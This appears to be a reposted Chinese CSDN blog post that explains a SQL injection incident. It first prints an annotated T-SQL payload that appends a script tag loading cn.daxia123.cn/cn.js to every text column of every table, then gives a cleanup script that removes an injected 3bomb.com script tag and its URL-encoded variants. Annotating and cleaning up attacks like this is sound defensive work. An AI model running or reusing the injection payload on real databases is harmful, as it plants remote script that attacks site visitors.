SQL注入内容更新.


DECLARE @T VARCHAR(255),@C VARCHAR(255) --声明两个变量
DECLARE Table_Cursor CURSOR FOR  --声明游标
Select a.name,b.name
FROM sysobjects a,syscolumns b --系统对象表与字段表
Where a.id=b.id AND a.xtype='u' AND (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) --99 text型 35 ntext --231 nvarchar --167 varchar
OPEN Table_Cursor FETCH NEXT --打开游标
FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0)
BEGIN
EXEC('Update ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+'' <script src=http://cn.daxia123.cn/cn.js> </script>''') --这里是更新语句
FETCH NEXT FROM Table_Cursor INTO @T,@C END --获取一下记录
CLOSE Table_Cursor --关闭游标
DEALLOCATE Table_Cursor --释放游标

 

 SQL注入处理(2) 收藏
declare @delStr varchar(8000)
set @delStr='<script src=http://3%62omb.com/c.js></script>'
set @delStr='<script src=http://3bomb.%63%6Fm/c.js></script>'
set @delStr='<script src=http://3b%6F%6Db.com/c.js></script>'
set @delStr='<script src=http://%33bomb.com/c.js></script>'
set @delStr='<script src=http://3bomb.co%6D/c.js></script>'
set @delStr='<script src=http://3bom%62%2Ecom/c.js></script>'
set @delStr='<script src=http://3b%6Fmb.com/c.js></script>'
set @delStr='<script src=http://3bomb.c%6Fm/c.js></script>'
set @delStr='<script src=http://%33%62omb.com/c.js></script>'


set nocount on

declare @tableName nvarchar(100),@columnName nvarchar(100),@tbID int,@iRow int,@iResult int
declare @sql nvarchar(500)

set @iResult=0
declare cur cursor for
select name,id from sysobjects where xtype='U'

open cur
fetch next from cur into @tableName,@tbID

while @@fetch_status=0
begin
declare cur1 cursor for
        --xtype in (231,167,239,175,99,35) 为char,varchar,nchar,nvarchar,ntext,text类型
        select name from syscolumns where xtype in (231,167,239,175,99,35) and id=@tbID
open cur1
fetch next from cur1 into @columnName
while @@fetch_status=0
begin
      set @sql='update [' + @tableName + '] set ['+ @columnName +']= replace(cast(['+@columnName+'] as varchar(8000)),'''+@delStr+''','''') where ['+@columnName+'] like ''%'+@delStr+'%'''
      --update tablename set fieldA=replace(cast(fieldA as varchar(8000)) ,'aa','bb')这样的语句。
      exec sp_executesql @sql   
      set @iRow=@@rowcount
      set @iResult=@iResult+@iRow
      if @iRow>0
      begin
print '表:'+@tableName+',列:'+@columnName+'被更新'+convert(varchar(10),@iRow)+'条记录;'
      end   
      fetch next from cur1 into @columnName


end
close cur1
deallocate cur1

fetch next from cur into @tableName,@tbID
end
print '数据库共有'+convert(varchar(10),@iResult)+'条记录被更新!!!'

close cur
deallocate cur
set nocount off

 


本文来自CSDN博客,转载请标明出处:http://blog.csdn.net/htl258/archive/2009/04/24/4105963.aspx

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值